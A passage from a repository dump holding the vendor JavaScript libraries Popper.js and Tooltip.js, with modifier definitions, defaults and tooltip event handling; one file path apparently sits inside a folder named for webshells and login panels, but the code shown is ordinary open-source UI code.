'preventOverflow';\n  }).boundaries;\n\n  if (refRect.bottom < bound.top || refRect.left > bound.right || refRect.top > bound.bottom || refRect.right < bound.left) {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === true) {\n      return data;\n    }\n\n    data.hide = true;\n    data.attributes['x-out-of-boundaries'] = '';\n  } else {\n    // Avoid unnecessary DOM access if visibility hasn't changed\n    if (data.hide === false) {\n      return data;\n    }\n\n    data.hide = false;\n    data.attributes['x-out-of-boundaries'] = false;\n  }\n\n  return data;\n}\n\n/**\n * @function\n * @memberof Modifiers\n * @argument {Object} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nfunction inner(data) {\n  var placement = data.placement;\n  var basePlacement = placement.split('-')[0];\n  var _data$offsets = data.offsets,\n      popper = _data$offsets.popper,\n      reference = _data$offsets.reference;\n\n  var isHoriz = ['left', 'right'].indexOf(basePlacement) !== -1;\n\n  var subtractLength = ['top', 'left'].indexOf(basePlacement) === -1;\n\n  popper[isHoriz ? 'left' : 'top'] = reference[basePlacement] - (subtractLength ? popper[isHoriz ? 'width' : 'height'] : 0);\n\n  data.placement = getOppositePlacement(placement);\n  data.offsets.popper = getClientRect(popper);\n\n  return data;\n}\n\n/**\n * Modifier function, each modifier can have a function of this type assigned\n * to its `fn` property.<br />\n * These functions will be called on each update, this means that you must\n * make sure they are performant enough to avoid performance bottlenecks.\n *\n * @function ModifierFn\n * @argument {dataObject} data - The data object generated by `update` method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {dataObject} The data object, properly modified\n */\n\n/**\n * Modifiers are plugins used to alter the behavior of your poppers.<br />\n * Popper.js uses a set of 9 modifiers to provide all the basic functionalities\n * needed by the library.\n *\n * Usually you don't want to override the `order`, `fn` and `onLoad` props.\n * All the other properties are configurations that could be tweaked.\n * @namespace modifiers\n */\nvar modifiers = {\n  /**\n   * Modifier used to shift the popper on the start or end of its reference\n   * element.<br />\n   * It will read the variation of the `placement` property.<br />\n   * It can be one either `-end` or `-start`.\n   * @memberof modifiers\n   * @inner\n   */\n  shift: {\n    /** @prop {number} order=100 - Index used to define the order of execution */\n    order: 100,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: shift\n  },\n\n  /**\n   * The `offset` modifier can shift your popper on both its axis.\n   *\n   * It accepts the following units:\n   * - `px` or unitless, interpreted as pixels\n   * - `%` or `%r`, percentage relative to the length of the reference element\n   * - `%p`, percentage relative to the length of the popper element\n   * - `vw`, CSS viewport width unit\n   * - `vh`, CSS viewport height unit\n   *\n   * For length is intended the main axis relative to the placement of the popper.<br />\n   * This means that if the placement is `top` or `bottom`, the length will be the\n   * `width`. In case of `left` or `right`, it will be the height.\n   *\n   * You can provide a single value (as `Number` or `String`), or a pair of values\n   * as `String` divided by a comma or one (or more) white spaces.<br />\n   * The latter is a deprecated method because it leads to confusion and will be\n   * removed in v2.<br />\n   * Additionally, it accepts additions and subtractions between different units.\n   * Note that multiplications and divisions aren't supported.\n   *\n   * Valid examples are:\n   * ```\n   * 10\n   * '10%'\n   * '10, 10'\n   * '10%, 10'\n   * '10 + 10%'\n   * '10 - 5vh + 3%'\n   * '-10px + 5vh, 5px - 6%'\n   * ```\n   * > **NB**: If you desire to apply offsets to your poppers in a way that may make them overlap\n   * > with their reference element, unfortunately, you will have to disable the `flip` modifier.\n   * > More on this [reading this issue](https://github.com/FezVrasta/popper.js/issues/373)\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  offset: {\n    /** @prop {number} order=200 - Index used to define the order of execution */\n    order: 200,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: offset,\n    /** @prop {Number|String} offset=0\n     * The offset value as described in the modifier description\n     */\n    offset: 0\n  },\n\n  /**\n   * Modifier used to prevent the popper from being positioned outside the boundary.\n   *\n   * An scenario exists where the reference itself is not within the boundaries.<br />\n   * We can say it has \"escaped the boundaries\" — or just \"escaped\".<br />\n   * In this case we need to decide whether the popper should either:\n   *\n   * - detach from the reference and remain \"trapped\" in the boundaries, or\n   * - if it should ignore the boundary and \"escape with its reference\"\n   *\n   * When `escapeWithReference` is set to`true` and reference is completely\n   * outside its boundaries, the popper will overflow (or completely leave)\n   * the boundaries in order to remain attached to the edge of the reference.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  preventOverflow: {\n    /** @prop {number} order=300 - Index used to define the order of execution */\n    order: 300,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: preventOverflow,\n    /**\n     * @prop {Array} [priority=['left','right','top','bottom']]\n     * Popper will try to prevent overflow following these priorities by default,\n     * then, it could overflow on the left and on top of the `boundariesElement`\n     */\n    priority: ['left', 'right', 'top', 'bottom'],\n    /**\n     * @prop {number} padding=5\n     * Amount of pixel used to define a minimum distance between the boundaries\n     * and the popper this makes sure the popper has always a little padding\n     * between the edges of its container\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='scrollParent'\n     * Boundaries used by the modifier, can be `scrollParent`, `window`,\n     * `viewport` or any DOM element.\n     */\n    boundariesElement: 'scrollParent'\n  },\n\n  /**\n   * Modifier used to make sure the reference and its popper stay near eachothers\n   * without leaving any gap between the two. Expecially useful when the arrow is\n   * enabled and you want to assure it to point to its reference element.\n   * It cares only about the first axis, you can still have poppers with margin\n   * between the popper and its reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  keepTogether: {\n    /** @prop {number} order=400 - Index used to define the order of execution */\n    order: 400,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: keepTogether\n  },\n\n  /**\n   * This modifier is used to move the `arrowElement` of the popper to make\n   * sure it is positioned between the reference element and its popper element.\n   * It will read the outer size of the `arrowElement` node to detect how many\n   * pixels of conjuction are needed.\n   *\n   * It has no effect if no `arrowElement` is provided.\n   * @memberof modifiers\n   * @inner\n   */\n  arrow: {\n    /** @prop {number} order=500 - Index used to define the order of execution */\n    order: 500,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: arrow,\n    /** @prop {String|HTMLElement} element='[x-arrow]' - Selector or node used as arrow */\n    element: '[x-arrow]'\n  },\n\n  /**\n   * Modifier used to flip the popper's placement when it starts to overlap its\n   * reference element.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   *\n   * **NOTE:** this modifier will interrupt the current update cycle and will\n   * restart it if it detects the need to flip the placement.\n   * @memberof modifiers\n   * @inner\n   */\n  flip: {\n    /** @prop {number} order=600 - Index used to define the order of execution */\n    order: 600,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: flip,\n    /**\n     * @prop {String|Array} behavior='flip'\n     * The behavior used to change the popper's placement. It can be one of\n     * `flip`, `clockwise`, `counterclockwise` or an array with a list of valid\n     * placements (with optional variations).\n     */\n    behavior: 'flip',\n    /**\n     * @prop {number} padding=5\n     * The popper will flip if it hits the edges of the `boundariesElement`\n     */\n    padding: 5,\n    /**\n     * @prop {String|HTMLElement} boundariesElement='viewport'\n     * The element which will define the boundaries of the popper position,\n     * the popper will never be placed outside of the defined boundaries\n     * (except if keepTogether is enabled)\n     */\n    boundariesElement: 'viewport'\n  },\n\n  /**\n   * Modifier used to make the popper flow toward the inner of the reference element.\n   * By default, when this modifier is disabled, the popper will be placed outside\n   * the reference element.\n   * @memberof modifiers\n   * @inner\n   */\n  inner: {\n    /** @prop {number} order=700 - Index used to define the order of execution */\n    order: 700,\n    /** @prop {Boolean} enabled=false - Whether the modifier is enabled or not */\n    enabled: false,\n    /** @prop {ModifierFn} */\n    fn: inner\n  },\n\n  /**\n   * Modifier used to hide the popper when its reference element is outside of the\n   * popper boundaries. It will set a `x-out-of-boundaries` attribute which can\n   * be used to hide with a CSS selector the popper when its reference is\n   * out of boundaries.\n   *\n   * Requires the `preventOverflow` modifier before it in order to work.\n   * @memberof modifiers\n   * @inner\n   */\n  hide: {\n    /** @prop {number} order=800 - Index used to define the order of execution */\n    order: 800,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: hide\n  },\n\n  /**\n   * Computes the style that will be applied to the popper element to gets\n   * properly positioned.\n   *\n   * Note that this modifier will not touch the DOM, it just prepares the styles\n   * so that `applyStyle` modifier can apply it. This separation is useful\n   * in case you need to replace `applyStyle` with a custom implementation.\n   *\n   * This modifier has `850` as `order` value to maintain backward compatibility\n   * with previous versions of Popper.js. Expect the modifiers ordering method\n   * to change in future major versions of the library.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  computeStyle: {\n    /** @prop {number} order=850 - Index used to define the order of execution */\n    order: 850,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: computeStyle,\n    /**\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3d transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties.\n     */\n    gpuAcceleration: true,\n    /**\n     * @prop {string} [x='bottom']\n     * Where to anchor the X axis (`bottom` or `top`). AKA X offset origin.\n     * Change this if your popper should grow in a direction different from `bottom`\n     */\n    x: 'bottom',\n    /**\n     * @prop {string} [x='left']\n     * Where to anchor the Y axis (`left` or `right`). AKA Y offset origin.\n     * Change this if your popper should grow in a direction different from `right`\n     */\n    y: 'right'\n  },\n\n  /**\n   * Applies the computed styles to the popper element.\n   *\n   * All the DOM manipulations are limited to this modifier. This is useful in case\n   * you want to integrate Popper.js inside a framework or view library and you\n   * want to delegate all the DOM manipulations to it.\n   *\n   * Note that if you disable this modifier, you must make sure the popper element\n   * has its position set to `absolute` before Popper.js can do its work!\n   *\n   * Just disable this modifier and define you own to achieve the desired effect.\n   *\n   * @memberof modifiers\n   * @inner\n   */\n  applyStyle: {\n    /** @prop {number} order=900 - Index used to define the order of execution */\n    order: 900,\n    /** @prop {Boolean} enabled=true - Whether the modifier is enabled or not */\n    enabled: true,\n    /** @prop {ModifierFn} */\n    fn: applyStyle,\n    /** @prop {Function} */\n    onLoad: applyStyleOnLoad,\n    /**\n     * @deprecated since version 1.10.0, the property moved to `computeStyle` modifier\n     * @prop {Boolean} gpuAcceleration=true\n     * If true, it uses the CSS 3d transformation to position the popper.\n     * Otherwise, it will use the `top` and `left` properties.\n     */\n    gpuAcceleration: undefined\n  }\n};\n\n/**\n * The `dataObject` is an object containing all the informations used by Popper.js\n * this object get passed to modifiers and to the `onCreate` and `onUpdate` callbacks.\n * @name dataObject\n * @property {Object} data.instance The Popper.js instance\n * @property {String} data.placement Placement applied to popper\n * @property {String} data.originalPlacement Placement originally defined on init\n * @property {Boolean} data.flipped True if popper has been flipped by flip modifier\n * @property {Boolean} data.hide True if the reference element is out of boundaries, useful to know when to hide the popper.\n * @property {HTMLElement} data.arrowElement Node used as arrow by arrow modifier\n * @property {Object} data.styles Any CSS property defined here will be applied to the popper, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.arrowStyles Any CSS property defined here will be applied to the popper arrow, it expects the JavaScript nomenclature (eg. `marginBottom`)\n * @property {Object} data.boundaries Offsets of the popper boundaries\n * @property {Object} data.offsets The measurements of popper, reference and arrow elements.\n * @property {Object} data.offsets.popper `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.reference `top`, `left`, `width`, `height` values\n * @property {Object} data.offsets.arrow] `top` and `left` offsets, only one of them will be different from 0\n */\n\n/**\n * Default options provided to Popper.js constructor.<br />\n * These can be overriden using the `options` argument of Popper.js.<br />\n * To override an option, simply pass as 3rd argument an object with the same\n * structure of this object, example:\n * ```\n * new Popper(ref, pop, {\n *   modifiers: {\n *     preventOverflow: { enabled: false }\n *   }\n * })\n * ```\n * @type {Object}\n * @static\n * @memberof Popper\n */\nvar Defaults = {\n  /**\n   * Popper's placement\n   * @prop {Popper.placements} placement='bottom'\n   */\n  placement: 'bottom',\n\n  /**\n   * Whether events (resize, scroll) are initially enabled\n   * @prop {Boolean} eventsEnabled=true\n   */\n  eventsEnabled: true,\n\n  /**\n   * Set to true if you want to automatically remove the popper when\n   * you call the `destroy` method.\n   * @prop {Boolean} removeOnDestroy=false\n   */\n  removeOnDestroy: false,\n\n  /**\n   * Callback called when the popper is created.<br />\n   * By default, is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onCreate}\n   */\n  onCreate: function onCreate() {},\n\n  /**\n   * Callback called when the popper is updated, this callback is not called\n   * on the initialization/creation of the popper, but only on subsequent\n   * updates.<br />\n   * By default, is set to no-op.<br />\n   * Access Popper.js instance with `data.instance`.\n   * @prop {onUpdate}\n   */\n  onUpdate: function onUpdate() {},\n\n  /**\n   * List of modifiers used to modify the offsets before they are applied to the popper.\n   * They provide most of the functionalities of Popper.js\n   * @prop {modifiers}\n   */\n  modifiers: modifiers\n};\n\n/**\n * @callback onCreate\n * @param {dataObject} data\n */\n\n/**\n * @callback onUpdate\n * @param {dataObject} data\n */\n\n// Utils\n// Methods\nvar Popper = function () {\n  /**\n   * Create a new Popper.js instance\n   * @class Popper\n   * @param {HTMLElement|referenceObject} reference - The reference element used to position the popper\n   * @param {HTMLElement} popper - The HTML element used as popper.\n   * @param {Object} options - Your custom options to override the ones defined in [Defaults](#defaults)\n   * @return {Object} instance - The generated Popper.js instance\n   */\n  function Popper(reference, popper) {\n    var _this = this;\n\n    var options = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : {};\n    classCallCheck(this, Popper);\n\n    this.scheduleUpdate = function () {\n      return requestAnimationFrame(_this.update);\n    };\n\n    // make update() debounced, so that it only runs at most once-per-tick\n    this.update = debounce(this.update.bind(this));\n\n    // with {} we create a new object with the options inside it\n    this.options = _extends({}, Popper.Defaults, options);\n\n    // init state\n    this.state = {\n      isDestroyed: false,\n      isCreated: false,\n      scrollParents: []\n    };\n\n    // get reference and popper elements (allow jQuery wrappers)\n    this.reference = reference.jquery ? reference[0] : reference;\n    this.popper = popper.jquery ? popper[0] : popper;\n\n    // Deep merge modifiers options\n    this.options.modifiers = {};\n    Object.keys(_extends({}, Popper.Defaults.modifiers, options.modifiers)).forEach(function (name) {\n      _this.options.modifiers[name] = _extends({}, Popper.Defaults.modifiers[name] || {}, options.modifiers ? options.modifiers[name] : {});\n    });\n\n    // Refactoring modifiers' list (Object => Array)\n    this.modifiers = Object.keys(this.options.modifiers).map(function (name) {\n      return _extends({\n        name: name\n      }, _this.options.modifiers[name]);\n    })\n    // sort the modifiers by order\n    .sort(function (a, b) {\n      return a.order - b.order;\n    });\n\n    // modifiers have the ability to execute arbitrary code when Popper.js get inited\n    // such code is executed in the same order of its modifier\n    // they could add new properties to their options configuration\n    // BE AWARE: don't add options to `options.modifiers.name` but to `modifierOptions`!\n    this.modifiers.forEach(function (modifierOptions) {\n      if (modifierOptions.enabled && isFunction(modifierOptions.onLoad)) {\n        modifierOptions.onLoad(_this.reference, _this.popper, _this.options, modifierOptions, _this.state);\n      }\n    });\n\n    // fire the first update to position the popper in the right place\n    this.update();\n\n    var eventsEnabled = this.options.eventsEnabled;\n    if (eventsEnabled) {\n      // setup event listeners, they will take care of update the position in specific situations\n      this.enableEventListeners();\n    }\n\n    this.state.eventsEnabled = eventsEnabled;\n  }\n\n  // We can't use class properties because they don't get listed in the\n  // class prototype and break stuff like Sinon stubs\n\n\n  createClass(Popper, [{\n    key: 'update',\n    value: function update$$1() {\n      return update.call(this);\n    }\n  }, {\n    key: 'destroy',\n    value: function destroy$$1() {\n      return destroy.call(this);\n    }\n  }, {\n    key: 'enableEventListeners',\n    value: function enableEventListeners$$1() {\n      return enableEventListeners.call(this);\n    }\n  }, {\n    key: 'disableEventListeners',\n    value: function disableEventListeners$$1() {\n      return disableEventListeners.call(this);\n    }\n\n    /**\n     * Schedule an update, it will run on the next UI update available\n     * @method scheduleUpdate\n     * @memberof Popper\n     */\n\n\n    /**\n     * Collection of utilities useful when writing custom modifiers.\n     * Starting from version 1.7, this method is available only if you\n     * include `popper-utils.js` before `popper.js`.\n     *\n     * **DEPRECATION**: This way to access PopperUtils is deprecated\n     * and will be removed in v2! Use the PopperUtils module directly instead.\n     * Due to the high instability of the methods contained in Utils, we can't\n     * guarantee them to follow semver. Use them at your own risk!\n     * @static\n     * @private\n     * @type {Object}\n     * @deprecated since version 1.8\n     * @member Utils\n     * @memberof Popper\n     */\n\n  }]);\n  return Popper;\n}();\n\n/**\n * The `referenceObject` is an object that provides an interface compatible with Popper.js\n * and lets you use it as replacement of a real DOM node.<br />\n * You can use this method to position a popper relatively to a set of coordinates\n * in case you don't have a DOM node to use as reference.\n *\n * ```\n * new Popper(referenceObject, popperNode);\n * ```\n *\n * NB: This feature isn't supported in Internet Explorer 10\n * @name referenceObject\n * @property {Function} data.getBoundingClientRect\n * A function that returns a set of coordinates compatible with the native `getBoundingClientRect` method.\n * @property {number} data.clientWidth\n * An ES6 getter that will return the width of the virtual reference element.\n * @property {number} data.clientHeight\n * An ES6 getter that will return the height of the virtual reference element.\n */\n\n\nPopper.Utils = (typeof window !== 'undefined' ? window : global).PopperUtils;\nPopper.placements = placements;\nPopper.Defaults = Defaults;\n\nreturn Popper;\n\n})));\n//# sourceMappingURL=popper.js.map\n"
  },
  {
    "path": "Webshells_and_Panel/FoxPanel222/Files/Login_v1/Login_v1/vendor/bootstrap/js/tooltip.js",
    "content": "/**!\n * @fileOverview Kickass library to create and place poppers near their reference elements.\n * @version 1.1.5\n * @license\n * Copyright (c) 2016 Federico Zivolo and contributors\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n(function (global, factory) {\n\ttypeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory(require('popper.js')) :\n\ttypeof define === 'function' && define.amd ? define(['popper.js'], factory) :\n\t(global.Tooltip = factory(global.Popper));\n}(this, (function (Popper) { 'use strict';\n\nPopper = Popper && 'default' in Popper ? Popper['default'] : Popper;\n\n/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nfunction isFunction(functionToCheck) {\n  var getType = {};\n  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';\n}\n\nvar classCallCheck = function (instance, Constructor) {\n  if (!(instance instanceof Constructor)) {\n    throw new TypeError(\"Cannot call a class as a function\");\n  }\n};\n\nvar createClass = function () {\n  function defineProperties(target, props) {\n    for (var i = 0; i < props.length; i++) {\n      var descriptor = props[i];\n      descriptor.enumerable = descriptor.enumerable || false;\n      descriptor.configurable = true;\n      if (\"value\" in descriptor) descriptor.writable = true;\n      Object.defineProperty(target, descriptor.key, descriptor);\n    }\n  }\n\n  return function (Constructor, protoProps, staticProps) {\n    if (protoProps) defineProperties(Constructor.prototype, protoProps);\n    if (staticProps) defineProperties(Constructor, staticProps);\n    return Constructor;\n  };\n}();\n\n\n\n\n\n\n\nvar _extends = Object.assign || function (target) {\n  for (var i = 1; i < arguments.length; i++) {\n    var source = arguments[i];\n\n    for (var key in source) {\n      if (Object.prototype.hasOwnProperty.call(source, key)) {\n        target[key] = source[key];\n      }\n    }\n  }\n\n  return target;\n};\n\nvar DEFAULT_OPTIONS = {\n  container: false,\n  delay: 0,\n  html: false,\n  placement: 'top',\n  title: '',\n  template: '<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>',\n  trigger: 'hover focus',\n  offset: 0\n};\n\nvar Tooltip = function () {\n  /**\n   * Create a new Tooltip.js instance\n   * @class Tooltip\n   * @param {HTMLElement} reference - The DOM node used as reference of the tooltip (it can be a jQuery element).\n   * @param {Object} options\n   * @param {String} options.placement=bottom\n   *      Placement of the popper accepted values: `top(-start, -end), right(-start, -end), bottom(-start, -end),\n   *      left(-start, -end)`\n   * @param {HTMLElement|String|false} options.container=false - Append the tooltip to a specific element.\n   * @param {Number|Object} options.delay=0\n   *      Delay showing and hiding the tooltip (ms) - does not apply to manual trigger type.\n   *      If a number is supplied, delay is applied to both hide/show.\n   *      Object structure is: `{ show: 500, hide: 100 }`\n   * @param {Boolean} options.html=false - Insert HTML into the tooltip. If false, the content will inserted with `innerText`.\n   * @param {String|PlacementFunction} options.placement='top' - One of the allowed placements, or a function returning one of them.\n   * @param {String} [options.template='<div class=\"tooltip\" role=\"tooltip\"><div class=\"tooltip-arrow\"></div><div class=\"tooltip-inner\"></div></div>']\n   *      Base HTML to used when creating the tooltip.\n   *      The tooltip's `title` will be injected into the `.tooltip-inner` or `.tooltip__inner`.\n   *      `.tooltip-arrow` or `.tooltip__arrow` will become the tooltip's arrow.\n   *      The outermost wrapper element should have the `.tooltip` class.\n   * @param {String|HTMLElement|TitleFunction} options.title='' - Default title value if `title` attribute isn't present.\n   * @param {String} [options.trigger='hover focus']\n   *      How tooltip is triggered - click, hover, focus, manual.\n   *      You may pass multiple triggers; separate them with a space. `manual` cannot be combined with any other trigger.\n   * @param {HTMLElement} options.boundariesElement\n   *      The element used as boundaries for the tooltip. For more information refer to Popper.js'\n   *      [boundariesElement docs](https://popper.js.org/popper-documentation.html)\n   * @param {Number|String} options.offset=0 - Offset of the tooltip relative to its reference. For more information refer to Popper.js'\n   *      [offset docs](https://popper.js.org/popper-documentation.html)\n   * @param {Object} options.popperOptions={} - Popper options, will be passed directly to popper instance. For more information refer to Popper.js'\n   *      [options docs](https://popper.js.org/popper-documentation.html)\n   * @return {Object} instance - The generated tooltip instance\n   */\n  function Tooltip(reference, options) {\n    classCallCheck(this, Tooltip);\n\n    _initialiseProps.call(this);\n\n    // apply user options over default ones\n    options = _extends({}, DEFAULT_OPTIONS, options);\n\n    reference.jquery && (reference = reference[0]);\n\n    // cache reference and options\n    this.reference = reference;\n    this.options = options;\n\n    // get events list\n    var events = typeof options.trigger === 'string' ? options.trigger.split(' ').filter(function (trigger) {\n      return ['click', 'hover', 'focus'].indexOf(trigger) !== -1;\n    }) : [];\n\n    // set initial state\n    this._isOpen = false;\n\n    // set event listeners\n    this._setEventListeners(reference, events, options);\n  }\n\n  //\n  // Public methods\n  //\n\n  /**\n   * Reveals an element's tooltip. This is considered a \"manual\" triggering of the tooltip.\n   * Tooltips with zero-length titles are never displayed.\n   * @method Tooltip#show\n   * @memberof Tooltip\n   */\n\n\n  /**\n   * Hides an element’s tooltip. This is considered a “manual” triggering of the tooltip.\n   * @method Tooltip#hide\n   * @memberof Tooltip\n   */\n\n\n  /**\n   * Hides and destroys an element’s tooltip.\n   * @method Tooltip#dispose\n   * @memberof Tooltip\n   */\n\n\n  /**\n   * Toggles an element’s tooltip. This is considered a “manual” triggering of the tooltip.\n   * @method Tooltip#toggle\n   * @memberof Tooltip\n   */\n\n\n  //\n  // Defaults\n  //\n\n\n  //\n  // Private methods\n  //\n\n  createClass(Tooltip, [{\n    key: '_create',\n\n\n    /**\n     * Creates a new tooltip node\n     * @memberof Tooltip\n     * @private\n     * @param {HTMLElement} reference\n     * @param {String} template\n     * @param {String|HTMLElement|TitleFunction} title\n     * @param {Boolean} allowHtml\n     * @return {HTMLelement} tooltipNode\n     */\n    value: function _create(reference, template, title, allowHtml) {\n      // create tooltip element\n      var tooltipGenerator = window.document.createElement('div');\n      tooltipGenerator.innerHTML = template.trim();\n      var tooltipNode = tooltipGenerator.childNodes[0];\n\n      // add unique ID to our tooltip (needed for accessibility reasons)\n      tooltipNode.id = 'tooltip_' + Math.random().toString(36).substr(2, 10);\n\n      // set initial `aria-hidden` state to `false` (it's visible!)\n      tooltipNode.setAttribute('aria-hidden', 'false');\n\n      // add title to tooltip\n      var titleNode = tooltipGenerator.querySelector(this.innerSelector);\n      if (title.nodeType === 1) {\n        // if title is a node, append it only if allowHtml is true\n        allowHtml && titleNode.appendChild(title);\n      } else if (isFunction(title)) {\n        // if title is a function, call it and set innerText or innerHtml depending by `allowHtml` value\n        var titleText = title.call(reference);\n        allowHtml ? titleNode.innerHTML = titleText : titleNode.innerText = titleText;\n      } else {\n        // if it's just a simple text, set innerText or innerHtml depending by `allowHtml` value\n        allowHtml ? titleNode.innerHTML = title : titleNode.innerText = title;\n      }\n\n      // return the generated tooltip node\n      return tooltipNode;\n    }\n  }, {\n    key: '_show',\n    value: function _show(reference, options) {\n      // don't show if it's already visible\n      if (this._isOpen) {\n        return this;\n      }\n      this._isOpen = true;\n\n      // if the tooltipNode already exists, just show it\n      if (this._tooltipNode) {\n        this._tooltipNode.style.display = '';\n        this._tooltipNode.setAttribute('aria-hidden', 'false');\n        this.popperInstance.update();\n        return this;\n      }\n\n      // get title\n      var title = reference.getAttribute('title') || options.title;\n\n      // don't show tooltip if no title is defined\n      if (!title) {\n        return this;\n      }\n\n      // create tooltip node\n      var tooltipNode = this._create(reference, options.template, title, options.html);\n\n      // Add `aria-describedby` to our reference element for accessibility reasons\n      reference.setAttribute('aria-describedby', tooltipNode.id);\n\n      // append tooltip to container\n      var container = this._findContainer(options.container, reference);\n\n      this._append(tooltipNode, container);\n\n      var popperOptions = _extends({}, options.popperOptions, {\n        placement: options.placement\n      });\n\n      popperOptions.modifiers = _extends({}, popperOptions.modifiers, {\n        arrow: {\n          element: this.arrowSelector\n        }\n      });\n\n      if (options.boundariesElement) {\n        popperOptions.modifiers.preventOverflow = {\n          boundariesElement: options.boundariesElement\n        };\n      }\n\n      this.popperInstance = new Popper(reference, tooltipNode, popperOptions);\n\n      this._tooltipNode = tooltipNode;\n\n      return this;\n    }\n  }, {\n    key: '_hide',\n    value: function _hide() /*reference, options*/{\n      // don't hide if it's already hidden\n      if (!this._isOpen) {\n        return this;\n      }\n\n      this._isOpen = false;\n\n      // hide tooltipNode\n      this._tooltipNode.style.display = 'none';\n      this._tooltipNode.setAttribute('aria-hidden', 'true');\n\n      return this;\n    }\n  }, {\n    key: '_dispose',\n    value: function _dispose() {\n      var _this = this;\n\n      if (this._tooltipNode) {\n        this._hide();\n\n        // destroy instance\n        this.popperInstance.destroy();\n\n        // remove event listeners\n        this._events.forEach(function (_ref) {\n          var func = _ref.func,\n              event = _ref.event;\n\n          _this.reference.removeEventListener(event, func);\n        });\n        this._events = [];\n\n        // destroy tooltipNode\n        this._tooltipNode.parentNode.removeChild(this._tooltipNode);\n        this._tooltipNode = null;\n      }\n      return this;\n    }\n  }, {\n    key: '_findContainer',\n    value: function _findContainer(container, reference) {\n      // if container is a query, get the relative element\n      if (typeof container === 'string') {\n        container = window.document.querySelector(container);\n      } else if (container === false) {\n        // if container is `false`, set it to reference parent\n        container = reference.parentNode;\n      }\n      return container;\n    }\n\n    /**\n     * Append tooltip to container\n     * @memberof Tooltip\n     * @private\n     * @param {HTMLElement} tooltip\n     * @param {HTMLElement|String|false} container\n     */\n\n  }, {\n    key: '_append',\n    value: function _append(tooltipNode, container) {\n      container.appendChild(tooltipNode);\n    }\n  }, {\n    key: '_setEventListeners',\n    value: function _setEventListeners(reference, events, options) {\n      var _this2 = this;\n\n      var directEvents = [];\n      var oppositeEvents = [];\n\n      events.forEach(function (event) {\n        switch (event) {\n          case 'hover':\n            directEvents.push('mouseenter');\n            oppositeEvents.push('mouseleave');\n            break;\n          case 'focus':\n            directEvents.push('focus');\n            oppositeEvents.push('blur');\n            break;\n          case 'click':\n            directEvents.push('click');\n            oppositeEvents.push('click');\n            break;\n        }\n      });\n\n      // schedule show tooltip\n      directEvents.forEach(function (event) {\n        var func = function func(evt) {\n          if (_this2._isOpen === true) {\n            return;\n          }\n          evt.usedByTooltip = true;\n          _this2._scheduleShow(reference, options.delay, options, evt);\n        };\n        _this2._events.push({ event: event, func: func });\n        reference.addEventListener(event, func);\n      });\n\n      // schedule hide tooltip\n      oppositeEvents.forEach(function (event) {\n        var func = function func(evt) {\n          if (evt.usedByTooltip === true) {\n            return;\n          }\n          _this2._scheduleHide(reference, options.delay, options, evt);\n        };\n        _this2._events.push({ event: event, func: func });\n        reference.addEventListener(event, func);\n      });\n    }\n  }, {\n    key: '_scheduleShow',\n    value: function _scheduleShow(reference, delay, options /*, evt */) {\n      var _this3 = this;\n\n      // defaults to 0\n      var computedDelay = delay && delay.show || delay || 0;\n      window.setTimeout(function () {\n        return _this3._show(reference, options);\n      }, computedDelay);\n    }\n  }, {\n    key: '_scheduleHide',\n    value: function _scheduleHide(reference, delay, options, evt) {\n      var _this4 = this;\n\n      // defaults to 0\n      var computedDelay = delay && delay.hide || delay || 0;\n      window.setTimeout(function () {\n        if (_this4._isOpen === false) 